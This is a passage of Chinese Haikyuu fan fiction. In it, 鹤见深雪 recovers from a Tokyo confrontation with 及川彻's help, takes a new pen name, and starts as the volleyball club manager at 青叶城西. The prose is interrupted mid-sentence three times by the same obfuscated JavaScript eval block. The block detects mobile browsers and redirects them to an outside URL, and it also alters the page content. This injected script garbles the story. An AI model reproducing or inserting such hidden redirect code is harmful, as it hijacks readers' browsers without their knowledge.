及川彻把湿巾扔进垃圾桶,重新看向他的时候,将鹤见深雪揽进自己的怀里,轻声道:“别害怕,没关系的。” 鹤见深雪被及川彻的气息包裹,好像那份风轻云淡的气息也终于落到他的心里,眼泪离奇得止住了,再也哭不出来,索性结结实实地靠在了他的身上。 过了一会儿,鹤见深雪的手机震动,他颤抖地掏出来,及川彻从他的手里接过,看到是大滝悠成发来的短信。 【鹤见老师,刚才都是误会,你不愿意可以拒绝啊为什么要动手呢?我们现在医院了,你有没有受伤?冷静一下,来医院谈谈吧?刚才来找你的人是谁啊?你真的录音了?】 鹤见深雪脸贴着及川彻的胸口,冷静下来,就觉得自己确实有点冲动了,不该动手的。 “你做的很对。” 及川彻好像看透他的想法,沉静地说道:“你必须揍他们才能让他们知道你碰不得——现在想报警吗?” 鹤见深雪连忙摇头,摁住及川彻的手,虽然害怕,但这点思虑还是有的,报警太麻烦了,他的身份还有荒川的身份,闹大了对双方都没有好处。 及川彻看了一会儿他的眼睛,他的想法和鹤见深雪一致,但他还是想报警,思量片刻放下手机。 直到列车入站,及川彻拉着鹤见深雪上车。 鹤见深雪看着列车不停的前进,属于东京市区的繁华在车窗外不断倒退,好像是逃亡一般。 他此刻急需及川彻身上那种无论发生都能平静接受的气息,于是像个巨大的树袋熊紧紧粘着他。 东京到仙台路程一个半小时,鹤见深雪靠着及川彻,过分兴奋的神经缓慢回落,困意逐渐涌了上来,情绪的疲惫,还有今天一天的排球。 鹤见深雪好像睡着了,但又没有,直到及川彻的呼吸落到脸上,把他唤醒。 ——到仙台了。 鹤见深雪想要从座位上站起来,但腿一软又坐了回去。 “站不起来了……”鹤见深雪委屈地说道。 及川彻拖着他几乎挂在自己身上走,下了车之后又在月台坐了一会儿。 他从来没有觉得宫城这个陌生的城市如此温馨。 列车员也好,入站的客人也好,摇曳的绿植也好,都那么的熟悉,好像及川彻一样,全方位站在自己这边,能将痛苦的他托举。 及川彻蹲下来,鹤见深雪便趴到他背上,及川彻轻松把他背起来了。 鹤见深雪的记忆里,这还是第一次有人背他。 及川彻即使背着他,也走的很稳健。 “及川彻,怎么办啊?他们会不会报警?会不会暗杀我啊?会不会以后再也不能去东京了?会不会惹上□□啊?会不会永远缠着我?” 鹤见深雪趴在及川彻的背上,像是蜜蜂一样的喋喋不休。 这倒不是鹤见深雪想象力丰富,而是日本黑/帮的确很泛滥,存在感很强,像荒川这样的人,说和□□勾结,完全是合理的。 及川彻倒没有这么担惊受怕,但还是顺着回答,“应该不至于,但如果真这样,就不在日本呆了。” 鹤见深雪把脸埋在及川彻的肩膀上,瓮声瓮气地问:“那我们去哪里?” 鹤见深雪听见及川彻沉闷地笑出声。 他很喜欢‘我们’这个词,看青叶町暮色四合,想了想说道:“……小深雪,想去阿根廷吗?” 接着他又像是蛊惑一般地说道:“很远的地方,谁也找不到你。” 鹤见深雪微微皱眉,他知道只要从日本往地上凿个洞,凿穿地球,就到阿根廷了。 阿根廷就是那么遥远的地方,他没有细想及川彻为什么突然提这个地方,但那确实是个遥远到不可思议的,天涯的另一头。 那里的伊瓜苏瀑布是世界的尽头。 他从想到大都很想离开日本,他不喜欢这个这里。 虽然只是说说,但鹤见深雪还是无端生出一种即将亡命天涯的感觉。 他用手背擦擦脸,将眼泪擦干,觉得这是一个很好的感觉,记住现在的感觉以后他会写进书里。 他想问及川彻会不会去,但又想及川彻为什么要逃?这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15175630|164236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件事完全与他无关,全是鹤见深雪生事,这样想,他又失去了逃亡世界尽头的想法。 于是鹤见深雪诚实地回答:“不知道,我在阿根廷没有认识的人,可以去那不勒斯或者香港吗?” “为什么?” 鹤见深雪沉默,他听妈妈说过,他的生父就有可能在这两个地方,但那是他很小的时候问妈妈获得的答案,也是他攒钱要去的地方。 他不便回答及川彻,脑子又钝钝的,无法找到合理的借口,也不想骗他。 好在及川彻压根没有继续追问。 过了一会儿鹤见深雪又问:“你真的录音了吗?” 如果录了那就是证据,但录了就会一直和对方纠缠不休了。 对方会始终把鹤见深雪当做威胁。 及川彻带着狡黠地撒谎道:“没有,我是你们谈话到了尾声才进去的,哪有机会录音呀。” 他从第二次给鹤见深雪送包的时候就用自己的手机拨通了商场公用手机的电话,并将手机放到了鹤见深雪的背包里,让他带着进去,然后用通话录音。 其实他自己也不清楚录音效果如何,有多大的胁迫力。 鹤见深雪有种松了一口气又没松的感觉,但最好的还是,及川彻没有听见关于他继父福山先生受贿的那一段话。 鹤见深雪的神经放松了很多,突然像是想起了什么似的,开始在及川背上挣扎,问道:“糟了,及川彻你的书呢?——那,那个夏夜雪亲签的《无尽魔法长夜》呢?” 及川彻顿了一下脚步,想起自己忘记在商场了。 “忘了——啧,算了。” “啊?” 鹤见深雪抿了抿嘴唇,及川彻没有录音就不知道他是夏夜雪,否则他真想现在签一百个一万个名字送给他。 “对不起,都怪我。” 鹤见深雪又有点想哭,因为他此刻才觉得,他完全把一个及川彻这个纯无辜路人拉进了自己的漩涡,感到非常对不起及川彻。 及川彻笑着说道:“现在才想起道歉也太晚了——不过以后你想做什么都可以,不要对我说对不起。” 鹤见深雪听到他的话微怔,他收紧了自己的胳膊,带着淤青的双腿缠着及川彻的窄腰,抱及川彻更紧了。 “干嘛?你要谋杀我啊?”及川彻被他搞得差点失去平衡。 鹤见深雪放松下来,郑重地说道:“及川彻,我欠你一本书,以后会还给你的。” “真的?”及川彻好似完全没当真。 及川彻好烦,这时候还一副吊儿郎当的样子。 鹤见深雪对着他的耳朵大声地说道:“当然,我不会骗你的!” “那就好,我记住了。” 及川彻背着他好一阵子,鹤见深雪想下来,及川彻却说不用,他轻得像片羽毛,还不如他集训时候的负重训练重。 鹤见深雪深呼吸好几口,决定继续朝前看,谁也打不倒他。 他在脑子里写日记,发现今天至少是快乐一半一半,不能因为人渣,就把他美好的一天毁掉了。 他今天交到了很多的朋友,还发现了及川彻是世界上最好的人。 21.樱花 直到青叶町,鹤见深雪才从及川彻背上下来。 及川彻将自己的鸭舌帽取下来,给鹤见深雪戴上,挡住鹤见深雪哭肿的脸。 回到家里,及川彻又煮了两份面条,沉默着吃过之后又去洗澡,还帮鹤见深雪把头发给吹了。 吹头发的时候鹤见深雪已经快要闭上眼睛,很艰难地维持着清醒。 其实今天还有很多事情没解决,但是太累了,累到没有写日记,只能第二天补。 吹完头发,及川彻放下吹风机,抱着鹤见深雪的脑袋甩了甩让他清醒,对着镜子里的他,说道:“不会还要我给你铺床吧?” 鹤见深雪垂眸想了下。 及川彻抬手捏了捏鹤见深雪的脸颊,“还真敢想啊你?——我是你这大小姐的佣人吗?!及川先生可没伺候过人!” 该死,被那个黑尾传染了。 及川彻手上有很明显的茧,像多年排球留下秘而不宣的刺青与鹤见深雪柔软到不可思议的脸颊接触,捏脸还挺痛的,也可能是鹤见深雪不耐痛。 “不是啦——”鹤见深雪连连摆手,看着镜子中的及川彻,小心翼翼抓住他的衣角,不好意思地说:“我是在想我能不能和你睡——哥,我给你铺床。” 及川彻:“……” 及川彻看着小猫似的鹤见深雪挠挠自己的手心,面颊挂着水珠,被蒸汽烘得绯红,湿漉漉的。 他脖子纤长白嫩,能够看见皮肤下细细流淌的淡青色纹路。 ——很适合掐住,也适合咬住,只要稍微用力,鹤见深雪说不定就会因此露出痛苦的表情,并且在透白皮肤上留下一圈红痕。 及川彻立刻开始口干舌燥,舌根泛起水分,他忙撇开头,被自己刚才的想法吓到。他再次转头,却看见鹤见深雪信任的目光。 他没来由有点烦躁。 “为什么?”及川彻垂眸看着他,面无表情,“你就这么信任我?” 鹤见深雪发现及川彻平时很爱笑,可流露真心的时候却没有笑容,他笑的时候反而是距离他最远的时候。 鹤见深雪其实在第一次见到他的时候,就觉得他应该是这样的。 及川彻是他笔下的男主角,正如宫泽所言,他每次创作就会给主角或者故事加一抹奇幻色彩,只是一个爱笑的大男孩是当不了的他的主角的。 他很好奇,及川彻的底色。 他敏锐感觉及川彻想要做点什么,但他很信任他,期待着及川彻干点什么,好看穿他,看透他,更好的临摹他。 “当然。”鹤见深雪仰头看他。 “你知道为什么会发生今天的事吗?”及川彻依然没什么表情,因为鹤见深雪的无畏,放任自己靠得更近。 将他逼得微微后退,直到后背贴着洗手台,双手撑在台面的边缘,像是将纤弱的鹤见深雪困入铁栏之中。 鹤见深雪望着他蜜棕色的眼睛带着习惯性的轻慢笑意,摇摇头。 “就是因为你太信任别人了,你根本不知道别人在想什么。” 鹤见深雪眨了眨眼,又点点头,“我记住了……那我现在可以和你睡了吗?” 及川彻:“……” “你听不懂日本语吗?”及川彻叹息道。 鹤见深雪这才反应过来,“你的意思是我不该信任你?” “对。”及川彻点点头,回忆道:“我初中的时候有个学弟——我整天欺负他,他现在看到我就害怕——小心我欺负你。” 鹤见深雪有点惊讶,他没想到及川彻竟然还会欺负学弟,因为及川彻的另一面很少见,实际上他对小孩子还挺好的,他很会照顾人,从不嫌弃小孩,及川猛就是个例子。 鹤见深雪露出嫌弃的表情。 ——好没品。 “你知道就好。”及川彻还是忍不住抬起手,把鹤见深雪眼下的水珠抹掉,转身就走。 鹤见深雪沉默了一会儿,好像想起了什么,睁大眼睛,欣喜若狂,追了上去,“哎,及川彻,你和那个学弟的故事,再讲点给我听呗!” 及川彻:“……?” “就是一个讨厌鬼学弟,有什么好说的。” 及川彻回到房间,鹤见深雪就追着进来,及川彻烦他就随便敷衍了几句关于影山飞雄的事情。 大概就说了影山飞雄老来烦他,他忍不住戏弄过他几次。 “哇……你为什么就是……对他那么特别?”鹤见深雪听完,露出暧昧的表情。 及川彻咆哮:“谁对他特别了?!” 鹤见深雪伸出食指,一副了然的表情。 “懂了,傲娇,没想到你还有这个属性呢。” 及川彻:“你……” 及川彻懒得理鹤见深雪,铺好床自己躺下,“出去,把门带上。” 鹤见深雪双手负后,若无其事的到处看,好像及川彻说得不是他,“睡一下又怎么了?——你昨天都没和我睡。” “你是变态吗,喜欢和别人睡觉?” 鹤见深雪其实有点害怕,害怕荒川看他的眼神,当时没感觉到,洗澡的时候望着自己的身体,就觉得有点恶心。 洗头时闭上眼睛,就觉得荒川站在自己身边,在死死地盯着他。 但他没法形容那种感觉,深入骨髓的委屈和恐惧。 他自己写过几篇短篇的恐怖故事,但现在他觉得人比鬼可怕很多。 “都是男的,有什么关系。” 鹤见深雪继续说服及川彻,然后像个流体一样滑进他的被窝里。 及川彻始终做不到拒绝他,感觉此人的身体像个火炉,柔软得像只母猫贴着他。 及川彻全身凛然一绷,偏头看他,鹤见深雪带着柔美的笑容,接着他的笑容停了一下,看到及川彻耳廓微微泛红,轻轻开口道:“看不出来嘛,及川彻你还挺害羞的。” 及川彻:“……” 及川彻望着月光钻入房间,映照在天花板上,如流动的水波。 鹤见深雪累极了,贴到及川彻就觉得安全了,闭上眼睛,呼吸平稳的进入黑甜梦乡。 第二天,大滝悠成发来了消息,鹤见深雪又跑去问及川彻,一来一回,总算是达成了和解,互不干预。 逃亡的计划他暂时放到一边。 他自己是没法和及川彻说真心话,把那天晚上对方所讲细节全部告诉及川彻,鹤见深雪是做不到的。 他不敢赌及川彻会不会把他也当成那个贪污犯的孩子。 鹤见深雪看着大滝悠成的短信,他不仅没有继续胁迫他,甚至还挺怕鹤见深雪的,“这样看的话,也没什么好害怕了——这两个人渣。” “比起他们,你更值得害怕。”及川彻抱胸,盘腿坐在榻榻米上,回忆着点评:“我不拦着你,你能杀人。” “哈?你才过分吧!”鹤见深雪反驳道:“你一脚给他从这头踹到那一头。” 一周之后,鹤见深雪收到《GARLAND!バラ恋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15175631|164236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人》的样刊。 重新看见了自己的文字被油墨印刷在目录的某一行里,没有宣传,甚至连封面都没有提及,鹤见深雪透着粉色的食指腹轻轻滑过自己的名字。 无人分享自己的喜悦,但好在他其实很喜欢这份孤独。 刊物在三月初发布,几天后宫泽联系他,问他—— “有部分读者写信电话来反馈了,问撰写这篇文章的夏夜雪,是创作《无尽魔法长夜》的夏夜雪吗,我们这边拒绝回答了。” 鹤见深雪有点低估自己过去的那本《无尽魔法长夜》了,实际上读者群体一直很稳定,还挺多人在看的,甚至及川彻都在看,到时候及川彻发现了会怎样? 自己最喜欢的奇幻文作者在写BL同性恋文学? 及川彻一看就是个直男,他也是,直与弯之间水火不容的,他要因此不喜欢夏夜雪就不好了。 不过他在《GARLAND!バラ恋人》发的短篇暂时没有引起什么风浪,也没人想到夏夜雪的回归作品是《GARLAND!バラ恋人》角落里的一个小短篇。 很快交了第二份短篇,但这次在宫泽的劝说之下,换了个笔名。 作者更换笔名是很正常的,甚至是必备技能,几乎没有作者是从头到尾只有一个名字的。 于是冬叶青诞生了。 换了个笔名,鹤见深雪彻底放飞了自我,马上写了一个短篇《爱欺负人排球部前辈》,取材于及川彻和被他欺负的可怜学弟影山飞雄。 他这次写倒是挺嗨的,里面没有擦边内容,但恋爱过程非常甜蜜,宫泽看了吓了一跳,惊讶地问,鹤见深雪是不是谈恋爱了。 鹤见深雪连忙摆手说没有。 三月,樱花绽放,揉碎的云雾般缀在枝头,美丽却短促。 及川彻在开学之前,和岩泉一去了一趟轮王寺祈福,本来还想叫上鹤见深雪,但马上开学,鹤见深雪被老妈带去办入学手续,量校服尺寸。 投币、摇铃,祈愿。 及川彻双手合十,许下了开学顺利和排球比赛冲进全国的愿望。 “岩泉。” 结束后,岩泉一听见及川彻居然叫了他姓氏,不由得抬头看他。 “怎么了?” “你真的很厉害。” 天气转暖,及川彻脱掉了外套,穿着件蓝色卫衣,由衷赞美道。 “这不是事实吗?干嘛突然说这个?” “鹤见深雪不喜欢我。” 岩泉一诧异地点点头,“理解……自恋狂总算是翻车了吧?” 及川彻被嘲倒没有像平时一样恼羞成怒,只是淡淡将签文扔进废签盒。 “我有点好奇,你怎么幡然悔悟的。” “他非要和我睡,然后说,都是男的别害怕。” 以及川彻浅薄对人类的探究,如果暗恋一个人大概率不会这么放得开。 “哈哈哈哈……”岩泉一这次真的忍不住了,笑得肚子疼。 “这样也挺好的。”岩泉一笑够了之后,说道:“我之前听你的口气,你不是很苦恼吗?烦恼自己这么有魅力,连同性都难逃。” 及川彻望着漫天飞舞的樱花瓣,蹂躏着整个青叶町,像是场温柔的暴行。 从青叶城西返回家里,鹤见深雪开始撰写青叶城西排球部经理的申请书—— 【姓名:鹤见深雪】 【申请社团:男子排球部】 【申请职位:经理】 22.身世 “鹤见深雪。” “到。” 鹤见深雪挺了挺胸膛,面色微红,周围有不少人的目光落在他身上。 原因无他,鹤见深雪长得太漂亮了。 一头耀眼金发,加上如雪又透红的皮肤和少见的蓝眼,穿着青叶城西的运动T恤和短裤,虽然个子娇小,但长手长脚,盘靓条顺,简直和他其他人不是一个次元。 连隔壁女排都过来偷看。 排球部招新范围仅限于一二年级,三年级一般都在考虑进路,甚至有些注重升学的学校,会要求三年级全部退社,好在青叶城西并没有这个要求。 沟口贞幸看了会儿报名表沉默片刻,露出同情的目光看着鹤见深雪的小胳膊小腿,毫不犹豫地点点头—— “鹤见,欢迎你加入青叶城西排球部!” 鹤见深雪配合地眨眨眼,他本来就泪腺发达,皮肤白嫩,随便弄一下就眼圈通红。 他哽咽道:“谢谢您给我这次机会!沟口领队!” 沟口看着这么可爱的孩子擦擦眼泪,不由得心里一酸,“应该的!鹤见!” “沟口领队!” “鹤见!” 一场感天动地的师生情由此上演。 及川彻作为新任排球部部长,立正在站在一边看着眼前的两个人,实在忍不住别开头,不忍直视。 鹤见深雪为了让自己百分百加入青叶城西排球部,给自己编了个身世,申请表那叫一个感天动地,直接斩杀一众竞争者,成为青叶城西排球部的空缺两年后的新任经理。 鹤见深雪说自己从小没有爸爸,妈妈改嫁,继父对他不好,总结来说消失的爸,改嫁的妈,恶毒的继弟,破碎的他。 屋漏偏逢连夜雨,麻绳偏往细处断。他身体不好,从小长不高,还有哮喘,走两步就摔倒。 然而他的人生梦想却是成为排球运动员,这唯一的心愿又被家族明令禁止。 如今,母亲和继父最终把他抛弃远赴美国,寄人篱下的他终于可以为自己做主,加入排球社团,哪怕不在赛场,也能用自己的力量托举队友高飞。 及川彻看过之后,确实没有说谎,但这写的也太惨了,完全不提他在及川家住得像个大小姐,他老妈更是跨国集团富三代的事情。 春秋笔法,恐怖如斯。 这个申请理由配合鹤见深雪一眨眼就潸然泪下的演技,真是闻者落泪,听者伤神。 因为写的太好,班主任刚好是国文老师,甚至萌生了投稿刊物,召集募捐给鹤见深雪的想法。 及川彻看到这份申请表差点把刚喝得水喷出来,沟口领队看后泪眼模糊,入畑教练闭眼叹息。 “怪不得你上次要让他坐我们的车,这么照顾他,及川,你也是个好孩子。” 及川彻:“……” * “鹤见呐。” “教练好!” 鹤见深雪和沟口领队感人地对呼被入畑教练打断。 入畑教练叹息,拿着那个堪称圣经的申请表,他道:“其实你也没有必要难过,打排球不是为了胜利,而是为了体会其中的乐趣,虽然你个子矮,身体不好,但你也可以打排球,排球不会拒绝任何人……” 鹤见深雪连忙摆手道:“不不……谢谢教练,我当经理就好了。” “鹤见不要自卑,你也可以起飞的。” 两个教练围着他,仿佛要鼓励他为了自己的生命再跳跃一次,哪怕输球也没关系,他们会尽全力帮助他,只想让他像他的申请表里写的那样。 ——再给我一次飞翔的机会。 鹤见深雪:“……” 鹤见深雪倒不是讨厌排球,上次体会排球之后其实还是蛮爽的,只是他深知自己不是这块料,就保持了原计划。 “试试,和其他一年级一起测测数据。”沟口领队鼓励道。 鹤见深雪沉默,其实打一下也没什么,他在排球上面搞不好真的有天赋,上次他就和木兔光太郎强强联合,一起赢了黑尾铁朗和赤苇京治。 现在他还和黑尾保持联系,黑尾对他可是心服口服,赤苇也常说他做事很用心,木兔更是说接了及川彻的球之后念念不忘。 鹤见深雪不由得脑补了一场,自己天赋卓绝,是百年难得一遇的排球天才,以159的身姿加入日本国家队,为时代留下排球小巨人传说的小说。 “好,那我试试。”鹤见深雪郑重点头。 鹤见深雪跟打了鸡血一样,迈着小短腿,跟上了一年级新来的队伍。 及川彻在一旁忍不住出声,道:“你确定?别搞得每天满身是伤,回去还得让我给你擦药。” 啧,及川彻,好烦。 又在嫉妒我的天赋了。 鹤见深雪深入了解了及川彻和他学弟的故事,从岩泉一口中知道,及川彻竟然只是因为学弟天赋比他强,就捉弄他。 嗐,可惜了,鹤见深雪还以为他喜欢学弟呢。 也是由此之后,鹤见深雪又给及川彻的人设添了笔善妒小气鬼。 * 两小时后,鹤见深雪完成了全部的体测项目,1000米只坚持了二百米就闪到脚踝以外,其他都坚持完美完成了。 入畑教练和沟口领队对头看了一会儿鹤见深雪的体检表格单之后,抬头看着鹤见深雪,欲言又止。 沟口领队道: “鹤见,我来和你说说排球部经理的职责。” 鹤见深雪:“???” 说好的排球不会拒绝任何人呢?说好了再飞一次呢?喂…… 鹤见深雪不服气了,他其实觉得自己还是颇有排球天赋的,尤其是再接球方面。 他,木兔光太郎,及川彻,我们三个真是太强了。 排球部经理的工作说简单不算简单,说难也不太难,尤其是青叶城西已经两年没有经理了,大家都快习惯了。 ——就,鹤见深雪当个花瓶也挺好的。 可以通过美貌扰乱敌方阵脚,必要时还能摔倒以此碰瓷对方。 青叶城西排球部是个大社团,端水送东西的活不需要鹤见深雪来做,他也拎不动,看过鹤见深雪体测结果的沟口更舍不得让他做。 鹤见深雪就成了沟口领队和及川彻的助理。 鹤见深雪拿着资料和沟口领队站在一起,记录新来一年级的的水平。 排球部均高一七五,他怎么不知道日本男人平均身高提高这么多了?作为一个一米五九的小矮个,鹤见深雪在排球部嫉妒得好累啊。 “哟,鹤见。” 鹤见深雪听见有人喊他,他忙抬头。 ——一个粉毛一米八和另一个班味儿很重的死鱼眼一米八,不认识。 “咱俩一个班的,忘啦?” 欸?鹤见深雪望着两个擎天柱似的人,不由得有些紧张,原来是同班同学啊,好尴尬啊。 “谁会记住你的脸啊,小卷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15175632|164236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明明那么路人……”及川彻突然出现。 “喂,及川混蛋。” 哦原来是花卷贵大。 鹤见深雪神情恍惚了一瞬,他被分到三年级三班,刚好和排球部正式队员花卷贵大是同班同学,不过他们由于身高差距犹如天堑,所以开学典礼排队和座位都完全碰不到。 但鹤见深雪今天作为转学生,还是在整个三年级都掀起了不小的风波,几乎都记住他的脸。 花卷贵大也不例外。 “这是松川一静。”花卷贵大指了指死鱼眼班味儿很重的一米八,“我们听及川那家伙提过你,以后多多指教啦。” “我是鹤见深雪!”鹤见深雪鞠躬打招呼,追问道:“很高兴认识你们!” 松川一静问:“鹤见打游戏吗?” “嗯,偶尔打的。”鹤见深雪掰着手指头,说道:“怪物猎人,DotA,最终幻想……” “你也玩怪物猎人吗?” “对的,哈哈我玩得一般般啦。”其实我超强的,赶快和我玩,然后我惊艳全场。 “那没事,空了我们一起玩。” 鹤见深雪捂住轻笑,心中得意,道:“那到时候就拜托松川君带带我了。” 天呐,鹤见深雪轻松拿捏所有人,非常完美的第一天嘿嘿嘿。 沟口教练在不远处喊道:“鹤见,来发下新水瓶。” “好的!我来!” 入新赛打完,这次加入了二十一个正式成员,七个二年级,十三个一年级,包括鹤见深雪这个三年级。 鹤见深雪掀起袖子跑去帮忙,挨个给新人发水瓶。 “金田一勇太郎,对吗?”鹤见深雪拿着物资表,抬头看向眼前的大高个。 ——发型好像藠头。 而且才一年级吃什么长这么高的啊混蛋! “是我!鹤见前辈!” 金田一勇太郎从鹤见深雪的手中接过水瓶和社团统一用品。 “谢谢前辈!” 运动社团的前后辈文化很重,平时同级也很少遇见低年级的学弟,鹤见深雪原来上学也不加入任何社团,所以这还是第一次被人前辈、前辈的喊。 鹤见深雪逐渐迷失在一声声的前辈之中。 唔,还算乖巧的后辈吧~ 看起来有点憨厚,听自我介绍的时候好像和及川彻都是北川一中的人,和及川彻挺熟的,来排球社第一时间和及川彻打招呼。 “金田一,影山没来吗?” 岩泉一走过来,又提了一些东西放进鹤见深雪分发的物资里。 金田一和他身后的一年级对视一眼,面上闪过一丝庆幸,说道:“好像是去乌野了。” 岩泉一只是随便问问,得到答案就离开了,鹤见深雪继续发东西。 “国见英,是吗?” “是我,谢谢前辈。” 鹤见深雪虽然身体一般,但做细活的脑力还是绰绰有余的,社团里见过一面的人几乎全记住了。 鹤见深雪趴在桌子上登记,听见入畑教练走过来—— “鹤见,新人里确认没有影山飞雄吗?” 鹤见深雪摇摇头,说没有。 “好吧。”入畑教练看起来有点惋惜。 鹤见深雪狗腿属性大爆发,忙道:“只好我出手了,我去劝劝他!” “不用了呵呵,鹤见有心了,不过他已经去乌野中学了,是我们没有把他挽留住。” 23.御守 看到入畑教练对影山飞雄扼腕叹息,狗腿鹤见深雪恨不能为其分忧,高低得见识一下这个影山飞雄。 这个男人,虽然不在青叶城西,青叶城西却到处都是他的传说。 怪不得是及川彻求而不得的天才,把他塑造成呆傻学弟是我的错。 啧,好爽啊这家伙,我也要开始嫉妒他了。 鹤见深雪整理今天的签到表,听见有人拨开围着他人群喊他—— “鹤见前辈!你找我啊?” “矢巾同学。” 鹤见深雪停下写字的笔,仰头看向矢巾秀,看到他站的笔直,脸色绯红,便对他露出笑容,道:“和你同级的京谷贤太郎同学今天是没有来学校报道吗?社团签到表里没有他哦。” 鹤见深雪看见矢巾秀脸色微变,抬手挠了挠后脑勺,说道:“鹤见前辈别再管他了,他算是退出排球部了吧?” “噢……退部要收纳退部申请书,我找过他的档案里了,没有哦,麻烦你通知他交一下。” “我——唉好吧,我是听说那家伙因为和上一届前辈起了冲突,被罚禁止社团活动一学期……所以这个学期都不回来了,如果我是他,肯定都没脸回来了。” 啊……果然不是所有学弟都乖巧的。 “好吧,我了解了。”鹤见深雪点点头,在京谷贤太郎的签名栏划了一笔,然后顺势看了下京谷贤太郎的档案。 这家伙,还挺厉害的,各方面的数据都远超同龄人,如果真的退部就可惜了…… 矢巾秀一转身就对不远处渡亲治得意地使了个眼神。 ——我和鹤见前辈说上话了! 虽说是为了那个混蛋京谷贤太郎。 矢巾秀一脸头痛,痛苦地扶住渡亲治的肩膀,捂住胸口倒在渡亲治身上,道:“不妙啊,渡,我完了……” 渡亲治惊讶问道:“你怎么了啊矢巾?” “……鹤见前辈身上好香啊。” “……?” 渡亲治无语地看了眼这个变态,又看了眼站在球框旁边的像是副画似的鹤见深雪,一束光落在他的头发上,好像连光都格外偏爱他,不断笑着与来搭话的人交谈。 渡亲治再次转头,认真问道:“真的假的?” “真的啊!” * “鹤见前辈!麻烦您翻一下记分牌……” “鹤见前辈,我的这个球有点问题……” “鹤见前辈,这里我有点看不懂……” “鹤见前辈……” “好,我马上过来!” 排球馆里一声又一声此起彼伏的鹤见前辈,鹤见深雪被一群人围着,忙完一件事马上又接踵而至另一件事,不过大多不太重,很多是没事找事。 不到十五分钟,他已经和社团里每个人接触过了。 “鹤见君……麻烦借点东西……” 鹤见深雪低着头听见女孩子的声音,震惊地抬头,看见好几个穿着青叶城西运动服的短发少女…… ——怎么女排都来了?! 最后男排女排全体默默达成共识,矢巾说得对。 整个青叶城西排球部像打了个鸡血一样的充满干劲,人均孔雀开屏。 “鹤见君,填表可以吗?” “可以的。” “鹤见前辈,拿下止痛剂?” “可以的。” “鹤见君,结婚可以吗?” “不可以。” 一天下来,鹤见深雪已经对青叶城西排球部各种人免疫,连尴尬都没力气了,面不改色拒绝突然的赞美和求婚。 沟口领队头痛的扶额,“我们社团轻浮役也太多了……” 入畑教练笑呵呵地回应,道:“这不是挺好的吗,大家都很有干劲。” 而且在面对这么多杂事和骚扰的情况下,依然游刃有余地解决问题,鹤见深雪确实是他这么多年见过最合心意的社团经理,长得漂亮还是男的,完美解决了养眼又不会早恋的问题。 下午六点。 鹤见深雪完美的一天社团活动到此结束。 鹤见深雪收好资料和档案,准备和及川彻、岩泉一去更衣室换衣服,又被沟口领队叫住。 “及川、鹤见,你俩来一下。” 及川彻和鹤见深雪并排过去,被沟口领队交代了关于参加学生会社团大会,最重要的是申请经费,这些工作及川彻在做副部长的时候就接触过。 少不了和学生会一阵battle。 “以往我们社团没有经理,所以这些工作都是由我或者部长做,这次就由鹤见来做吧。” 写东西是鹤见深雪为数不多的天赋所在,有展示的机会,自然没问题。 “及川记得把需要的安排的活动和清点物资报给鹤见,手里的工作也分摊一点给他。” “好。” 交代完事情,岩泉一很不讲义气的早没影了,及川彻和鹤见深雪成了排球部最后离开的人。 及川彻将排球馆的大门锁上,钥匙扣在食指旋转,转过头看见正在等他鹤见深雪。 “喏。”及川彻将钥匙扔给鹤见深雪。 鹤见深雪伸出手,钥匙稳稳落在他的手心,忍不住露出幸福甜美的笑容。 下一秒—— 鹤见深雪往前一倒,及川彻连忙接住他,听见鹤见深雪软趴趴地说道:“累死了……” 及川彻的双手猛然不知所措,最后轻轻搭在了他纤细的腰上,鹤见深雪的腰很细,隔着薄薄的浅蓝色T恤,他体温有点凉,明明很瘦,却很柔软异常,像是奶油在手里黏糊糊的融化。 确实很香,而且是和自己一样的香味。 同样的沐浴露和洗发水。 “脚好痛。” 鹤见深雪闷闷地说道,及川彻将他扶到排球馆门口的台阶上。 鹤见深雪一开始在跑一千米测体力,就不小心闪到脚踝了,全程在强忍,直到社团成员都离开了才敢放松。 及川彻将背包里的药膏拿出来,解开鹤见深雪的鞋带,袜子脱了一半,认真给他的脚腕擦上药。 鹤见深雪托着腮回忆一整天的排球经理工作,摇着脑袋,得意洋洋—— “我是不是很厉害?” 鹤见深雪自恋属性大爆发,及川彻懒得理他,他还不放弃,歪着脑袋,非要和及川彻对视,不停的像个小孩要糖一样地追问他。 “——我是不是很厉害?” “是是是。” “哼,我也这么觉得……搞不好我真能当那种职业经理人,这世界上有没有那种经理人天才,也许我就是。” 鹤见深雪这辈子没干过这么劳累的工作,胳膊酸痛,忍不住皱着脸锤了锤肩膀。 及川彻道:“社团经理不是队员们的佣人,别人叫你做什么你就做什么啊?学不会拒绝?” 